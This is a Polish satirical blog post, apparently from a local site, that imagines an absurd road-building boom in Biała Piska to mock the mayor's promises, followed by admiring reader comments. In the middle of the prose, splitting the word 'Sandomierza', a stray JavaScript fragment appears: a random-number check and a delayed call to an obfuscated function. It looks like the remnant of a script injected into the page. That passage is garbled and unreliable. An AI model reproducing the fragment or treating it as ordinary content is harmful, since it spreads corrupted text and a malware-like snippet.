Pośmiejmy się, bo co nam zostało.
W jednym z komentarzy pod wczorajszym tekstem o publikacjach, z bialapiska24.pl, przeczytałem o kabarecie. Postanowiłem dziś napisać tekst w stylu kabaretowym (prześmiewczym , ironicznym). Nie jestem taki zdolny jak redaktor z cytowanego portalu, ale może i mnie się uda.
Wyobraźmy sobie o to tabun maszyn drogowych kierujących się w przyszłym roku do naszej gminy, (jak w fotografii do tekstu). Oto jedzie ze sto ciężarówek, z pięćdziesiąt koparek, z dwadzieścia walców i wszyscy od prywatnego inwestora. Ustawiają się przy wszystkich drogach gminnych i czekają na strzał startera, niczym biegacze w blokach startowych. Oto i ona, nasz gminny starter z pistoletem w ręku, z piersią wypiętą z dumy do przodu, naciska spust i start. Ruszyły maszyny, pot leje się z pracowników, zamieszanie w mieście, bo oto na głównym skrzyżowaniu zrobił się korek, walce nie chcą ustąpić pierwszeństwa koparkom i patelniom z kruszywem, asfalt stygnie na ciężarówkach gotowy do pokrycia każdej nawierzchni. Telewizja CNN robi materiał na żywo do Stanów Zjednoczonych, bo oczywiście tabuny żołnierzy amerykańskich pracują równo z naszymi robotnikami. Kucharki zacierają ręce i wszystkim gotują posiłki. Helikoptery sterują pracą z powietrza, bo z ziemi nie widać. Po jakimś czasie, wszyscy oficjele aż spoceni od przecinania wstęg otwierających nowe drogi. Galop nieustający i jest. Oto koniec. Mamy zrobione wszystkie drogi. To uczucie picia zimnego szampana w chwili takiego sukcesu bezcenne. Pani burmistrz znów wychodząca na 1387 spotkanie z mieszkańcami, mija pozdrawiających ją i rzucających kwiaty pod nogi zadowolonych przedsiębiorców i sołtysów. Wszyscy śpiewają taką piosenkę, oczywiście nie o Jadzi https://www.youtube.com/watch?v=bs5mjIH0cC8. Olga Tokarczuk siedzi i pisze powieść o niezłomności pani burmistrz, o jej sile i odwadze. Znów będzie Nobel. Wszyscy, na całym świecie przecierają oczy ze zdumienia. Kom Dzong Un zastrzelił się na wieść o tym, co tu w Białej Piskiej się dzieje. Papież zapowiada wizytę w naszym mieście. Sejm zastanawia się nad przeniesieniem stolicy kraju do Białej Piskiej. Właściciele Microsoftu chcą przenieść tu siedzibę, też chcą być szczęśliwi, jak inni przedsiębiorcy. Wielka Brytania rezygnuje z Brexitu, Donald Tusk podaje się do dymisji, Leszek Balcerowicz obmyśla nową teorię ekonomii, Lech Wałęsa oddaje pani burmistrz nagrodę Nobla, Donald Trump pierwszy raz nie wie co powiedzieć, ceny ropy spadają do 20 groszy za baryłkę, złotówka umacnia się do tego stopnia, że teraz kosztuje 150 dolarów za złotówkę. Trzeba to w końcu powiedzieć, Kościół uznaje wydarzenie w Białej Piskiej za oficjalny cud! Proboszcz parafii już wita pierwszych pielgrzymów, Toruń przenosi się do Białej Piskiej, konferencja ekonomiczna z Krynicy ucieka do nas. Tylko Ferrari i Mercedes dostają pozwolenie na otworzenie tu salonu samochodowego. Rolnicy sprzedają mleko po 50 zł. za litr. Najbiedniejsze gospodarstwo właśnie kupiło czwarty odrzutowiec. Urodziły się siódme sześcioraczki. Rodzice dostają program 10000+, budują się nowe osiedla, wszyscy chcą tu mieszkać. Emigranci zarobkowi na kolanach wracają, prosząc o przyjęcie. Lekarze specjaliści, obiecani przed wyborami, stoją w kolejce do nowej kliniki co z Leśnej Góry przeniosła się właśnie tutaj, ksiądz Mateusz z Sandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andomierza, został wikarym w naszej parafii, ławeczka z Rancza błyszczy przed dwunastym hipermarketem.
I tylko gdzieś z boku siedzi chłopina, któremu to wszystko się śni. Budzi się, robi łyk piwa i idzie nad stawek pozbierać puszki i butelki, żeby je sprzedać i mieć na kolejne piwo. Cieszy się, że nie robi tego nikt inny, bo nie miałby za co się napić. Opowiada swój sen komuś z domu kultury, a ci wierzą i piszą artykuł. A my tylko pytamy, kiedy przestaniecie robić sobie z nas jaja.
Przepraszam Czytelników za tą ironię. Może ktoś z Was pośmieje się czytając ten tekst. Mnie do śmiechu nie jest. Ale wierzę w to, że coś w końcu się tu zmieni i włodarze miasta zaczną nas po prostu szanować, a nie robić sobie z nas pośmiewiska.
Brakuje mi czegoś o naczelnym skrybie – może tez się jakiś nobel należy? Na przykład za całokształt twórczości? Ale uśmiałam się nie powiem 😂😂😂
Wczoraj jedna z moich koleżanek z gminy Biała Piska poleciła mi tą stronę. Pomyślałam sobie pewnie strona jak strona. Jestem od 35 lat mieszkanką Warszawy, kiedyś Białej Piskiej. Więc zastanawiałam się co mogłoby mnie urzec w takiej stronie. I powiem bardzo szczerze już wiem. Nie wiem jak ma Pan na imię, ale jestem poruszona tym co tu czytam. Ma Pan wspaniały dar formułowania myśli. Wczorajszy tekst, ironizujący, jest tekstem wybitnym, którego nie powstydziliby się najwięksi twórcy kabaretowi. Szkoda tylko, że zakończenie takie smutne, bo reszta świetna. Ale zakończenie w pełni oddaje rzeczywistość gminną. Byłam w sierpniu w Białej Piskiej i powiem szczerze, że brud był wszechobecny. Jak wy chcecie turystów ściągnąć? Wybieram się teraz na groby rodziców i nie wiem czy coś się zmieniło. Niech Pan tak nadal trzyma i obrazuje przejawy złego działania gminy.… Czytaj więcej »
Dawno, ale to dawno nie leżałem ze śmiechu na podłodze. Ależ pan Marek potrafi doprowadzić do łez, śmiechu i wzruszenia jednocześnie. Ten tekst to przejaw inteligentnego podsumowania życia w Białej Piskiej. Te Kim Dzong Uny i inni to taki zapis pięknych słówek wynikających z gadania ogródkowego, bez sztampy i żadnego sensu. Pięknie zostało to przedstawione jakbym słuchał naszej Pani Burmistrz. No normalnie z usta Pan jej to wyjął, Panie Marku. Tak ona by to przedstawiała. 1000%. Niestety dobrze, że na koniec pisze Pan o tym jak wygląda rzeczywistość. Postać tego chłopka od piwa to tak naprawdę każdy mieszkaniec gminy. Każdy. Tak to już jest, że zapowiedzi szumne, a potem tylko ból i zapaść zostaje. Jak Pan pisze pośmiałem się, ale refleksja też mnie naszła. Niestety taka sama, jak Pańska. Kiedy przestaną sobie z nas jaja robić? Jest… Czytaj więcej »